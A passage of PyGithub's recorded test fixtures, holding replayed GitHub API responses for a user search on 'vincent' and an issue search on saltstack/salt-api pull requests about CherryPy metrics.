2010","created_at":"2017-01-31T21:47:19Z","updated_at":"2018-02-22T18:23:42Z","featured":true,"curated":true,"score":169.0507},{"name":"wagtail","display_name":"Wagtail","short_description":"Wagtail is an open source CMS written in Python and built on the Django web framework.","description":"Wagtail is a free and open source content management system (CMS)\nwritten in Python. The project has a focus on developer friendliness\nas well as ease of use of its administration interface,\ntranslated in multiple languages.","created_by":"Torchbox","released":"February 2014","created_at":"2017-01-31T21:34:25Z","updated_at":"2018-03-08T08:16:54Z","featured":true,"curated":true,"score":51.901356}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Search.testSearchUsers.txt0000644000175100001660000007017514756101563023264 0ustar00runnerdockerhttps GET api.github.com None /search/users?sort=followers&q=vincent&order=desc&per_page=1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '29'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '62E81E32:536F:4325D43:53140505'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('content-length', '27634'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '30'), ('link', '; rel="next", ; rel="last"'), ('cache-control', 'no-cache'), ('date', 'Mon, 03 Mar 2014 04:28:53 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1393820993')] {"total_count":2781,"items":[{"login":"nvie","id":83844,"avatar_url":"https://avatars.githubusercontent.com/u/83844","gravatar_id":"466ef7561a0b100dc5a1021959962d28","url":"https://api.github.com/users/nvie","html_url":"https://github.com/nvie","followers_url":"https://api.github.com/users/nvie/followers","following_url":"https://api.github.com/users/nvie/following{/other_user}","gists_url":"https://api.github.com/users/nvie/gists{/gist_id}","starred_url":"https://api.github.com/users/nvie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nvie/subscriptions","organizations_url":"https://api.github.com/users/nvie/orgs","repos_url":"https://api.github.com/users/nvie/repos","events_url":"https://api.github.com/users/nvie/events{/privacy}","received_events_url":"https://api.github.com/users/nvie/received_events","type":"User","site_admin":false,"score":36.965874},{"login":"lusis","id":228958,"avatar_url":"https://avatars.githubusercontent.com/u/228958","gravatar_id":"03a966709300efb4a86ce5ee8f88f696","url":"https://api.github.com/users/lusis","html_url":"https://github.com/lusis","followers_url":"https://api.github.com/users/lusis/followers","following_url":"https://api.github.com/users/lusis/following{/other_user}","gists_url":"https://api.github.com/users/lusis/gists{/gist_id}","starred_url":"https://api.github.com/users/lusis/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lusis/subscriptions","organizations_url":"https://api.github.com/users/lusis/orgs","repos_url":"https://api.github.com/users/lusis/repos","events_url":"https://api.github.com/users/lusis/events{/privacy}","received_events_url":"https://api.github.com/users/lusis/received_events","type":"User","site_admin":false,"score":16.9694},{"login":"obra","id":45416,"avatar_url":"https://avatars.githubusercontent.com/u/45416","gravatar_id":"a145dbf5d67ba1eb717fbe3a1f51509c","url":"https://api.github.com/users/obra","html_url":"https://github.com/obra","followers_url":"https://api.github.com/users/obra/followers","following_url":"https://api.github.com/users/obra/following{/other_user}","gists_url":"https://api.github.com/users/obra/gists{/gist_id}","starred_url":"https://api.github.com/users/obra/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/obra/subscriptions","organizations_url":"https://api.github.com/users/obra/orgs","repos_url":"https://api.github.com/users/obra/repos","events_url":"https://api.github.com/users/obra/events{/privacy}","received_events_url":"https://api.github.com/users/obra/received_events","type":"User","site_admin":false,"score":19.73637},{"login":"vjousse","id":154904,"avatar_url":"https://avatars.githubusercontent.com/u/154904","gravatar_id":"c676f9efc8e54985e84c044899481267","url":"https://api.github.com/users/vjousse","html_url":"https://github.com/vjousse","followers_url":"https://api.github.com/users/vjousse/followers","following_url":"https://api.github.com/users/vjousse/following{/other_user}","gists_url":"https://api.github.com/users/vjousse/gists{/gist_id}","starred_url":"https://api.github.com/users/vjousse/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vjousse/subscriptions","organizations_url":"https://api.github.com/users/vjousse/orgs","repos_url":"https://api.github.com/users/vjousse/repos","events_url":"https://api.github.com/users/vjousse/events{/privacy}","received_events_url":"https://api.github.com/users/vjousse/received_events","type":"User","site_admin":false,"score":32.907475},{"login":"vincentbernat","id":631446,"avatar_url":"https://avatars.githubusercontent.com/u/631446","gravatar_id":"2c0bde3f5628f35390c42fe505b79da4","url":"https://api.github.com/users/vincentbernat","html_url":"https://github.com/vincentbernat","followers_url":"https://api.github.com/users/vincentbernat/followers","following_url":"https://api.github.com/users/vincentbernat/following{/other_user}","gists_url":"https://api.github.com/users/vincentbernat/gists{/gist_id}","starred_url":"https://api.github.com/users/vincentbernat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vincentbernat/subscriptions","organizations_url":"https://api.github.com/users/vincentbernat/orgs","repos_url":"https://api.github.com/users/vincentbernat/repos","events_url":"https://api.github.com/users/vincentbernat/events{/privacy}","received_events_url":"https://api.github.com/users/vincentbernat/received_events","type":"User","site_admin":false,"score":21.363638},{"login":"vincenthz","id":174631,"avatar_url":"https://avatars.githubusercontent.com/u/174631","gravatar_id":"1d0a2ab73604a28d767acc0e547c8985","url":"https://api.github.com/users/vincenthz","html_url":"https://github.com/vincenthz","followers_url":"https://api.github.com/users/vincenthz/followers","following_url":"https://api.github.com/users/vincenthz/following{/other_user}","gists_url":"https://api.github.com/users/vincenthz/gists{/gist_id}","starred_url":"https://api.github.com/users/vincenthz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vincenthz/subscriptions","organizations_url":"https://api.github.com/users/vincenthz/orgs","repos_url":"https://api.github.com/users/vincenthz/repos","events_url":"https://api.github.com/users/vincenthz/events{/privacy}","received_events_url":"https://api.github.com/users/vincenthz/received_events","type":"User","site_admin":false,"score":5.5826187},{"login":"sethvincent","id":164214,"avatar_url":"https://avatars.githubusercontent.com/u/164214","gravatar_id":"652e02cbd134e0e92f3f81fe14bda3d1","url":"https://api.github.com/users/sethvincent","html_url":"https://github.com/sethvincent","followers_url":"https://api.github.com/users/sethvincent/followers","following_url":"https://api.github.com/users/sethvincent/following{/other_user}","gists_url":"https://api.github.com/users/sethvincent/gists{/gist_id}","starred_url":"https://api.github.com/users/sethvincent/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sethvincent/subscriptions","organizations_url":"https://api.github.com/users/sethvincent/orgs","repos_url":"https://api.github.com/users/sethvincent/repos","events_url":"https://api.github.com/users/sethvincent/events{/privacy}","received_events_url":"https://api.github.com/users/sethvincent/received_events","type":"User","site_admin":false,"score":5.302938},{"login":"VinceG","id":195199,"avatar_url":"https://avatars.githubusercontent.com/u/195199","gravatar_id":"3cd0394357ab8911c794204ac524b115","url":"https://api.github.com/users/VinceG","html_url":"https://github.com/VinceG","followers_url":"https://api.github.com/users/VinceG/followers","following_url":"https://api.github.com/users/VinceG/following{/other_user}","gists_url":"https://api.github.com/users/VinceG/gists{/gist_id}","starred_url":"https://api.github.com/users/VinceG/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/VinceG/subscriptions","organizations_url":"https://api.github.com/users/VinceG/orgs","repos_url":"https://api.github.com/users/VinceG/repos","events_url":"https://api.github.com/users/VinceG/events{/privacy}","received_events_url":"https://api.github.com/users/VinceG/received_events","type":"User","site_admin":false,"score":3.6360402},{"login":"vinch","id":155370,"avatar_url":"https://avatars.githubusercontent.com/u/155370","gravatar_id":"a3895a2d6f26155968be47fc03dddc40","url":"https://api.github.com/users/vinch","html_url":"https://github.com/vinch","followers_url":"https://api.github.com/users/vinch/followers","following_url":"https://api.github.com/users/vinch/following{/other_user}","gists_url":"https://api.github.com/users/vinch/gists{/gist_id}","starred_url":"https://api.github.com/users/vinch/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vinch/subscriptions","organizations_url":"https://api.github.com/users/vinch/orgs","repos_url":"https://api.github.com/users/vinch/repos","events_url":"https://api.github.com/users/vinch/events{/privacy}","received_events_url":"https://api.github.com/users/vinch/received_events","type":"User","site_admin":false,"score":4.111639},{"login":"vvo","id":123822,"avatar_url":"https://avatars.githubusercontent.com/u/123822","gravatar_id":"667176b96540d167eb74f473c9aea5f7","url":"https://api.github.com/users/vvo","html_url":"https://github.com/vvo","followers_url":"https://api.github.com/users/vvo/followers","following_url":"https://api.github.com/users/vvo/following{/other_user}","gists_url":"https://api.github.com/users/vvo/gists{/gist_id}","starred_url":"https://api.github.com/users/vvo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vvo/subscriptions","organizations_url":"https://api.github.com/users/vvo/orgs","repos_url":"https://api.github.com/users/vvo/repos","events_url":"https://api.github.com/users/vvo/events{/privacy}","received_events_url":"https://api.github.com/users/vvo/received_events","type":"User","site_admin":false,"score":4.209945},{"login":"blanchonvincent","id":1580512,"avatar_url":"https://avatars.githubusercontent.com/u/1580512","gravatar_id":"d6288a0b3a370e4db4ea27adbeb74a30","url":"https://api.github.com/users/blanchonvincent","html_url":"https://github.com/blanchonvincent","followers_url":"https://api.github.com/users/blanchonvincent/followers","following_url":"https://api.github.com/users/blanchonvincent/following{/other_user}","gists_url":"https://api.github.com/users/blanchonvincent/gists{/gist_id}","starred_url":"https://api.github.com/users/blanchonvincent/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/blanchonvincent/subscriptions","organizations_url":"https://api.github.com/users/blanchonvincent/orgs","repos_url":"https://api.github.com/users/blanchonvincent/repos","events_url":"https://api.github.com/users/blanchonvincent/events{/privacy}","received_events_url":"https://api.github.com/users/blanchonvincent/received_events","type":"User","site_admin":false,"score":3.2129176},{"login":"vincent-zhao","id":1393423,"avatar_url":"https://avatars.githubusercontent.com/u/1393423","gravatar_id":"886a562bd3cc225ec3250650d8cdf4bd","url":"https://api.github.com/users/vincent-zhao","html_url":"https://github.com/vincent-zhao","followers_url":"https://api.github.com/users/vincent-zhao/followers","following_url":"https://api.github.com/users/vincent-zhao/following{/other_user}","gists_url":"https://api.github.com/users/vincent-zhao/gists{/gist_id}","starred_url":"https://api.github.com/users/vincent-zhao/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vincent-zhao/subscriptions","organizations_url":"https://api.github.com/users/vincent-zhao/orgs","repos_url":"https://api.github.com/users/vincent-zhao/repos","events_url":"https://api.github.com/users/vincent-zhao/events{/privacy}","received_events_url":"https://api.github.com/users/vincent-zhao/received_events","type":"User","site_admin":false,"score":3.4732492},{"login":"vincentstorme","id":2442225,"avatar_url":"https://avatars.githubusercontent.com/u/2442225","gravatar_id":"f6957ae1ebc89b683f27dcb3cb6af167","url":"https://api.github.com/users/vincentstorme","html_url":"https://github.com/vincentstorme","followers_url":"https://api.github.com/users/vincentstorme/followers","following_url":"https://api.github.com/users/vincentstorme/following{/other_user}","gists_url":"https://api.github.com/users/vincentstorme/gists{/gist_id}","starred_url":"https://api.github.com/users/vincentstorme/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vincentstorme/subscriptions","organizations_url":"https://api.github.com/users/vincentstorme/orgs","repos_url":"https://api.github.com/users/vincentstorme/repos","events_url":"https://api.github.com/users/vincentstorme/events{/privacy}","received_events_url":"https://api.github.com/users/vincentstorme/received_events","type":"User","site_admin":false,"score":4.5820265},{"login":"VincentToups","id":31994,"avatar_url":"https://avatars.githubusercontent.com/u/31994","gravatar_id":"31a9803728a756c2b6ec090cb77852b3","url":"https://api.github.com/users/VincentToups","html_url":"https://github.com/VincentToups","followers_url":"https://api.github.com/users/VincentToups/followers","following_url":"https://api.github.com/users/VincentToups/following{/other_user}","gists_url":"https://api.github.com/users/VincentToups/gists{/gist_id}","starred_url":"https://api.github.com/users/VincentToups/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/VincentToups/subscriptions","organizations_url":"https://api.github.com/users/VincentToups/orgs","repos_url":"https://api.github.com/users/VincentToups/repos","events_url":"https://api.github.com/users/VincentToups/events{/privacy}","received_events_url":"https://api.github.com/users/VincentToups/received_events","type":"User","site_admin":false,"score":3.9941156},{"login":"Vayn","id":224407,"avatar_url":"https://avatars.githubusercontent.com/u/224407","gravatar_id":"dd02e2c7ecf7c377b6b9c2c1a23633d0","url":"https://api.github.com/users/Vayn","html_url":"https://github.com/Vayn","followers_url":"https://api.github.com/users/Vayn/followers","following_url":"https://api.github.com/users/Vayn/following{/other_user}","gists_url":"https://api.github.com/users/Vayn/gists{/gist_id}","starred_url":"https://api.github.com/users/Vayn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Vayn/subscriptions","organizations_url":"https://api.github.com/users/Vayn/orgs","repos_url":"https://api.github.com/users/Vayn/repos","events_url":"https://api.github.com/users/Vayn/events{/privacy}","received_events_url":"https://api.github.com/users/Vayn/received_events","type":"User","site_admin":false,"score":3.4213936},{"login":"gierschv","id":396537,"avatar_url":"https://avatars.githubusercontent.com/u/396537","gravatar_id":"bbd55fb25025ef973c45e587103a1007","url":"https://api.github.com/users/gierschv","html_url":"https://github.com/gierschv","followers_url":"https://api.github.com/users/gierschv/followers","following_url":"https://api.github.com/users/gierschv/following{/other_user}","gists_url":"https://api.github.com/users/gierschv/gists{/gist_id}","starred_url":"https://api.github.com/users/gierschv/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gierschv/subscriptions","organizations_url":"https://api.github.com/users/gierschv/orgs","repos_url":"https://api.github.com/users/gierschv/repos","events_url":"https://api.github.com/users/gierschv/events{/privacy}","received_events_url":"https://api.github.com/users/gierschv/received_events","type":"User","site_admin":false,"score":4.15376},{"login":"vbmithr","id":797581,"avatar_url":"https://avatars.githubusercontent.com/u/797581","gravatar_id":"1c14c313c21533d542bb289a7581c28b","url":"https://api.github.com/users/vbmithr","html_url":"https://github.com/vbmithr","followers_url":"https://api.github.com/users/vbmithr/followers","following_url":"https://api.github.com/users/vbmithr/following{/other_user}","gists_url":"https://api.github.com/users/vbmithr/gists{/gist_id}","starred_url":"https://api.github.com/users/vbmithr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vbmithr/subscriptions","organizations_url":"https://api.github.com/users/vbmithr/orgs","repos_url":"https://api.github.com/users/vbmithr/repos","events_url":"https://api.github.com/users/vbmithr/events{/privacy}","received_events_url":"https://api.github.com/users/vbmithr/received_events","type":"User","site_admin":false,"score":4.68167},{"login":"agile","id":249,"avatar_url":"https://avatars.githubusercontent.com/u/249","gravatar_id":"722218c7702627097bd72901d7b39e6a","url":"https://api.github.com/users/agile","html_url":"https://github.com/agile","followers_url":"https://api.github.com/users/agile/followers","following_url":"https://api.github.com/users/agile/following{/other_user}","gists_url":"https://api.github.com/users/agile/gists{/gist_id}","starred_url":"https://api.github.com/users/agile/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/agile/subscriptions","organizations_url":"https://api.github.com/users/agile/orgs","repos_url":"https://api.github.com/users/agile/repos","events_url":"https://api.github.com/users/agile/events{/privacy}","received_events_url":"https://api.github.com/users/agile/received_events","type":"User","site_admin":false,"score":3.2129176},{"login":"vbatts","id":67049,"avatar_url":"https://avatars.githubusercontent.com/u/67049","gravatar_id":"c8ff80488014da414b65346806178fa5","url":"https://api.github.com/users/vbatts","html_url":"https://github.com/vbatts","followers_url":"https://api.github.com/users/vbatts/followers","following_url":"https://api.github.com/users/vbatts/following{/other_user}","gists_url":"https://api.github.com/users/vbatts/gists{/gist_id}","starred_url":"https://api.github.com/users/vbatts/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vbatts/subscriptions","organizations_url":"https://api.github.com/users/vbatts/orgs","repos_url":"https://api.github.com/users/vbatts/repos","events_url":"https://api.github.com/users/vbatts/events{/privacy}","received_events_url":"https://api.github.com/users/vbatts/received_events","type":"User","site_admin":false,"score":4.795142},{"login":"bigsnarfdude","id":2282364,"avatar_url":"https://avatars.githubusercontent.com/u/2282364","gravatar_id":"d037119574d45efed8c1a23c7c321721","url":"https://api.github.com/users/bigsnarfdude","html_url":"https://github.com/bigsnarfdude","followers_url":"https://api.github.com/users/bigsnarfdude/followers","following_url":"https://api.github.com/users/bigsnarfdude/following{/other_user}","gists_url":"https://api.github.com/users/bigsnarfdude/gists{/gist_id}","starred_url":"https://api.github.com/users/bigsnarfdude/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bigsnarfdude/subscriptions","organizations_url":"https://api.github.com/users/bigsnarfdude/orgs","repos_url":"https://api.github.com/users/bigsnarfdude/repos","events_url":"https://api.github.com/users/bigsnarfdude/events{/privacy}","received_events_url":"https://api.github.com/users/bigsnarfdude/received_events","type":"User","site_admin":false,"score":4.6358795},{"login":"vcabansag","id":1062352,"avatar_url":"https://avatars.githubusercontent.com/u/1062352","gravatar_id":"216c75c56633ec386037cf2084f69f13","url":"https://api.github.com/users/vcabansag","html_url":"https://github.com/vcabansag","followers_url":"https://api.github.com/users/vcabansag/followers","following_url":"https://api.github.com/users/vcabansag/following{/other_user}","gists_url":"https://api.github.com/users/vcabansag/gists{/gist_id}","starred_url":"https://api.github.com/users/vcabansag/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vcabansag/subscriptions","organizations_url":"https://api.github.com/users/vcabansag/orgs","repos_url":"https://api.github.com/users/vcabansag/repos","events_url":"https://api.github.com/users/vcabansag/events{/privacy}","received_events_url":"https://api.github.com/users/vcabansag/received_events","type":"User","site_admin":false,"score":2.5125384},{"login":"Valodim","id":27813,"avatar_url":"https://avatars.githubusercontent.com/u/27813","gravatar_id":"5ad827a4eff2f5c23d26e1b4eb746143","url":"https://api.github.com/users/Valodim","html_url":"https://github.com/Valodim","followers_url":"https://api.github.com/users/Valodim/followers","following_url":"https://api.github.com/users/Valodim/following{/other_user}","gists_url":"https://api.github.com/users/Valodim/gists{/gist_id}","starred_url":"https://api.github.com/users/Valodim/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Valodim/subscriptions","organizations_url":"https://api.github.com/users/Valodim/orgs","repos_url":"https://api.github.com/users/Valodim/repos","events_url":"https://api.github.com/users/Valodim/events{/privacy}","received_events_url":"https://api.github.com/users/Valodim/received_events","type":"User","site_admin":false,"score":7.773693},{"login":"vincentwoo","id":613320,"avatar_url":"https://avatars.githubusercontent.com/u/613320","gravatar_id":"ef261163df50f82a96093054933f8b0b","url":"https://api.github.com/users/vincentwoo","html_url":"https://github.com/vincentwoo","followers_url":"https://api.github.com/users/vincentwoo/followers","following_url":"https://api.github.com/users/vincentwoo/following{/other_user}","gists_url":"https://api.github.com/users/vincentwoo/gists{/gist_id}","starred_url":"https://api.github.com/users/vincentwoo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vincentwoo/subscriptions","organizations_url":"https://api.github.com/users/vincentwoo/orgs","repos_url":"https://api.github.com/users/vincentwoo/repos","events_url":"https://api.github.com/users/vincentwoo/events{/privacy}","received_events_url":"https://api.github.com/users/vincentwoo/received_events","type":"User","site_admin":false,"score":4.1279836},{"login":"jacquev6","id":327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false,"score":6.40821},{"login":"vincentx","id":30519,"avatar_url":"https://avatars.githubusercontent.com/u/30519","gravatar_id":"5b22ceec1f68e4e30ce9d73b15515a8b","url":"https://api.github.com/users/vincentx","html_url":"https://github.com/vincentx","followers_url":"https://api.github.com/users/vincentx/followers","following_url":"https://api.github.com/users/vincentx/following{/other_user}","gists_url":"https://api.github.com/users/vincentx/gists{/gist_id}","starred_url":"https://api.github.com/users/vincentx/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vincentx/subscriptions","organizations_url":"https://api.github.com/users/vincentx/orgs","repos_url":"https://api.github.com/users/vincentx/repos","events_url":"https://api.github.com/users/vincentx/events{/privacy}","received_events_url":"https://api.github.com/users/vincentx/received_events","type":"User","site_admin":false,"score":2.8227496},{"login":"flyingoctopus","id":51352,"avatar_url":"https://avatars.githubusercontent.com/u/51352","gravatar_id":"4ae644601d8cfeeb1ac5f9eca3730cf2","url":"https://api.github.com/users/flyingoctopus","html_url":"https://github.com/flyingoctopus","followers_url":"https://api.github.com/users/flyingoctopus/followers","following_url":"https://api.github.com/users/flyingoctopus/following{/other_user}","gists_url":"https://api.github.com/users/flyingoctopus/gists{/gist_id}","starred_url":"https://api.github.com/users/flyingoctopus/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/flyingoctopus/subscriptions","organizations_url":"https://api.github.com/users/flyingoctopus/orgs","repos_url":"https://api.github.com/users/flyingoctopus/repos","events_url":"https://api.github.com/users/flyingoctopus/events{/privacy}","received_events_url":"https://api.github.com/users/flyingoctopus/received_events","type":"User","site_admin":false,"score":8.850996},{"login":"samvincent","id":57775,"avatar_url":"https://avatars.githubusercontent.com/u/57775","gravatar_id":"7105cb5590c1d689191fabaff3cfc23b","url":"https://api.github.com/users/samvincent","html_url":"https://github.com/samvincent","followers_url":"https://api.github.com/users/samvincent/followers","following_url":"https://api.github.com/users/samvincent/following{/other_user}","gists_url":"https://api.github.com/users/samvincent/gists{/gist_id}","starred_url":"https://api.github.com/users/samvincent/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/samvincent/subscriptions","organizations_url":"https://api.github.com/users/samvincent/orgs","repos_url":"https://api.github.com/users/samvincent/repos","events_url":"https://api.github.com/users/samvincent/events{/privacy}","received_events_url":"https://api.github.com/users/samvincent/received_events","type":"User","site_admin":false,"score":2.9412127},{"login":"stamourv","id":854429,"avatar_url":"https://avatars.githubusercontent.com/u/854429","gravatar_id":"80affe6c372ba2594d0810a455592d0b","url":"https://api.github.com/users/stamourv","html_url":"https://github.com/stamourv","followers_url":"https://api.github.com/users/stamourv/followers","following_url":"https://api.github.com/users/stamourv/following{/other_user}","gists_url":"https://api.github.com/users/stamourv/gists{/gist_id}","starred_url":"https://api.github.com/users/stamourv/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/stamourv/subscriptions","organizations_url":"https://api.github.com/users/stamourv/orgs","repos_url":"https://api.github.com/users/stamourv/repos","events_url":"https://api.github.com/users/stamourv/events{/privacy}","received_events_url":"https://api.github.com/users/stamourv/received_events","type":"User","site_admin":false,"score":2.6577015},{"login":"vrabaud","id":700766,"avatar_url":"https://avatars.githubusercontent.com/u/700766","gravatar_id":"cc30ac48a693633fa4d05d66238eaff8","url":"https://api.github.com/users/vrabaud","html_url":"https://github.com/vrabaud","followers_url":"https://api.github.com/users/vrabaud/followers","following_url":"https://api.github.com/users/vrabaud/following{/other_user}","gists_url":"https://api.github.com/users/vrabaud/gists{/gist_id}","starred_url":"https://api.github.com/users/vrabaud/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vrabaud/subscriptions","organizations_url":"https://api.github.com/users/vrabaud/orgs","repos_url":"https://api.github.com/users/vrabaud/repos","events_url":"https://api.github.com/users/vrabaud/events{/privacy}","received_events_url":"https://api.github.com/users/vrabaud/received_events","type":"User","site_admin":false,"score":5.332164},{"login":"Mitsugaru","id":1184640,"avatar_url":"https://avatars.githubusercontent.com/u/1184640","gravatar_id":"5ed6fc41ebf7d88590a4c07eae074e97","url":"https://api.github.com/users/Mitsugaru","html_url":"https://github.com/Mitsugaru","followers_url":"https://api.github.com/users/Mitsugaru/followers","following_url":"https://api.github.com/users/Mitsugaru/following{/other_user}","gists_url":"https://api.github.com/users/Mitsugaru/gists{/gist_id}","starred_url":"https://api.github.com/users/Mitsugaru/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Mitsugaru/subscriptions","organizations_url":"https://api.github.com/users/Mitsugaru/orgs","repos_url":"https://api.github.com/users/Mitsugaru/repos","events_url":"https://api.github.com/users/Mitsugaru/events{/privacy}","received_events_url":"https://api.github.com/users/Mitsugaru/received_events","type":"User","site_admin":false,"score":4.0521812}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Search.testUrlquotingOfQualifiers.txt0000644000175100001660000004710714756101563025517 0ustar00runnerdockerhttps GET api.github.com None /search/issues?q=repo%3Asaltstack%2Fsalt-api+type%3AIssues+updated%3A%3E2014-03-04T18%3A28%3A11Z {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '29'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '62E81E32:3849:237BB3A:5325E38F'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('content-length', '19065'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '30'), ('cache-control', 'no-cache'), ('date', 'Sun, 16 Mar 2014 17:46:56 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1394992076')] {"total_count":6,"items":[{"url":"https://api.github.com/repos/saltstack/salt-api/issues/144","labels_url":"https://api.github.com/repos/saltstack/salt-api/issues/144/labels{/name}","comments_url":"https://api.github.com/repos/saltstack/salt-api/issues/144/comments","events_url":"https://api.github.com/repos/saltstack/salt-api/issues/144/events","html_url":"https://github.com/saltstack/salt-api/pull/144","id":29138794,"number":144,"title":"tools.cpstats.on needs to be placed under root","user":{"login":"LucasEwalt","id":193133,"avatar_url":"https://gravatar.com/avatar/34a7644f0fd54bbc2c41e0f34b0ef1ea?d=https%3A%2F%2Fidenticons.github.com%2Fd1ea33a87ab250461f229f3be959de3b.png&r=x","gravatar_id":"34a7644f0fd54bbc2c41e0f34b0ef1ea","url":"https://api.github.com/users/LucasEwalt","html_url":"https://github.com/LucasEwalt","followers_url":"https://api.github.com/users/LucasEwalt/followers","following_url":"https://api.github.com/users/LucasEwalt/following{/other_user}","gists_url":"https://api.github.com/users/LucasEwalt/gists{/gist_id}","starred_url":"https://api.github.com/users/LucasEwalt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/LucasEwalt/subscriptions","organizations_url":"https://api.github.com/users/LucasEwalt/orgs","repos_url":"https://api.github.com/users/LucasEwalt/repos","events_url":"https://api.github.com/users/LucasEwalt/events{/privacy}","received_events_url":"https://api.github.com/users/LucasEwalt/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":0,"created_at":"2014-03-10T22:31:05Z","updated_at":"2014-03-10T22:32:46Z","closed_at":"2014-03-10T22:32:46Z","pull_request":{"html_url":"https://github.com/saltstack/salt-api/pull/144","diff_url":"https://github.com/saltstack/salt-api/pull/144.diff","patch_url":"https://github.com/saltstack/salt-api/pull/144.patch"},"body":"Small error, tools.cpstats.on actually needs to be under root for metrics to be collected for all requests.","score":1.0},{"url":"https://api.github.com/repos/saltstack/salt-api/issues/143","labels_url":"https://api.github.com/repos/saltstack/salt-api/issues/143/labels{/name}","comments_url":"https://api.github.com/repos/saltstack/salt-api/issues/143/comments","events_url":"https://api.github.com/repos/saltstack/salt-api/issues/143/events","html_url":"https://github.com/saltstack/salt-api/pull/143","id":29119248,"number":143,"title":"Expose cherrypy metrics","user":{"login":"LucasEwalt","id":193133,"avatar_url":"https://gravatar.com/avatar/34a7644f0fd54bbc2c41e0f34b0ef1ea?d=https%3A%2F%2Fidenticons.github.com%2Fd1ea33a87ab250461f229f3be959de3b.png&r=x","gravatar_id":"34a7644f0fd54bbc2c41e0f34b0ef1ea","url":"https://api.github.com/users/LucasEwalt","html_url":"https://github.com/LucasEwalt","followers_url":"https://api.github.com/users/LucasEwalt/followers","following_url":"https://api.github.com/users/LucasEwalt/following{/other_user}","gists_url":"https://api.github.com/users/LucasEwalt/gists{/gist_id}","starred_url":"https://api.github.com/users/LucasEwalt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/LucasEwalt/subscriptions","organizations_url":"https://api.github.com/users/LucasEwalt/orgs","repos_url":"https://api.github.com/users/LucasEwalt/repos","events_url":"https://api.github.com/users/LucasEwalt/events{/privacy}","received_events_url":"https://api.github.com/users/LucasEwalt/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":4,"created_at":"2014-03-10T18:20:29Z","updated_at":"2014-03-11T15:56:02Z","closed_at":"2014-03-10T22:08:21Z","pull_request":{"html_url":"https://github.com/saltstack/salt-api/pull/143","diff_url":"https://github.com/saltstack/salt-api/pull/143.diff","patch_url":"https://github.com/saltstack/salt-api/pull/143.patch"},"body":"Expose cherrycp cpstats via /stats URI. 